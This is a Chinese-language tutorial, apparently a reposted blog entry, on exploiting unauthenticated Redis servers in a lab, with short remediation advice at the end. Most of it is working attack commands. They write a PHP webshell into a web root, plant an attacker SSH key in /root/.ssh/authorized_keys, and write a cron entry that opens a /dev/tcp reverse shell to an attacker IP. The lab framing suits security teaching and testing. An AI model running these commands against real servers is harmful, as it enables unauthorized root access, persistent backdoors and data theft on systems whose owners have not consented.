redis未授权反弹shell的三种方式

一、介绍redis未授权访问

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

 

二、漏洞产生条件

1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(默认为空),可以免密码远程登录redis服务。 
(3)如果想高级利用,对方是以root身份启动的redis

 

三、环境准备

环境:Centos7、redis

wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar -zxvf redis-4.0.8.tar.gz
yum install -y gcc
cd redis-4.0.8 make MALLOC
=libc cd src && make install

配置redis.conf,把bind ip配置为0.0.0.0

启动redis必须使用 root 权限启动,否则save时会报错

启动redis
sudo ./redis-server ../redis.conf

kali linux 安装redis

sudo apt-get instlal redis-tools -y

 

四、利用过程

redis-cli -h 192.168.110.133

4.1. 数据泄露

获取所有的key值 keys *

keys *

4.2. 系统信息泄露

info 命令可以看到redis的版本、系统内核版本、配置文件路径等信息

4.3.  写文件GetShell

在Web目录中写入webshell


前提条件:已知网站目录的绝对路径,并且具有读写权限

getshell

  • 写入shell
# 写入一个string内容
set shell "<?php @assert($_POST[cc]);?>"

# 设置备份目录

config set dir /var/www/html/

# 设置备份文件名

config set dbfilename shell.php

# 保存文件到本地

save

连接,没问题。

4.4. 写入SSH公钥直接SSH连接

要钱:

  • 本地生成公钥和私钥
  • 将公钥写入到目标的.ssh文件夹
  • ssh 连接

kail攻击机默认不开ssh,没有.ssh目录,需要手动操作(配置sshd_config连接即可)。

执行:ssh localhost  生成 .ssh 目录

先切换为root用户,如果su验证失败,先passwd root给root设置一个密码

执行:ssh localhost  生成 .ssh 目录
验证下root的密码,当前目录就会有一个.ssh目录了(如果靶机也没有.ssh目录,同下操作方式。

生成公钥跟私钥。

ssh-keygen -t rsa  //执行生成key命令

id_rsa  #私钥

id_rsa.pub  #公钥

切换shell工具去使用,查看下公钥内容,最后那一串用户名为root。

# 备份文件目录设置为对应的 .ssh,一般默认为 /root/.ssh/
config set dir /root/.ssh/

config set dbfilename authorized_keys

# 保存key的时候加上两个`\n`是为了避免和Redis里其他缓存数据混合

set key "\n\n\生成的公钥n\n"

save

接下来直接通过私钥去进行连接ssh,不需要验证密码。

ssh -i id_rsa root@192.168.110.133

 连接上了,顺便执行了一个whoami,ifconfig。

4.5. 写入计划任务(corntab)反弹shell

执行命令

和写入公钥一样,将文件保存到本地,备份文件名必须要和用户的名字一样,比如是test用户 set dbfilename test

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"
config set dir /var/spool/cron/ config set dbfilename root save

过一会shell就弹过来了。

高级利用:

1、主从复制 https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

2、模块加载执行命令

五、漏洞修复方式

1. 禁止Redis服务对公网开放,可通过修改redis.conf配置文件中的"#bind 1...
2. 设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass"...
3. 对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器;
4. 修改Redis默认端口,将默认的6379端口修改为其他端口;
原文地址:https://www.cnblogs.com/miruier/p/14497405.html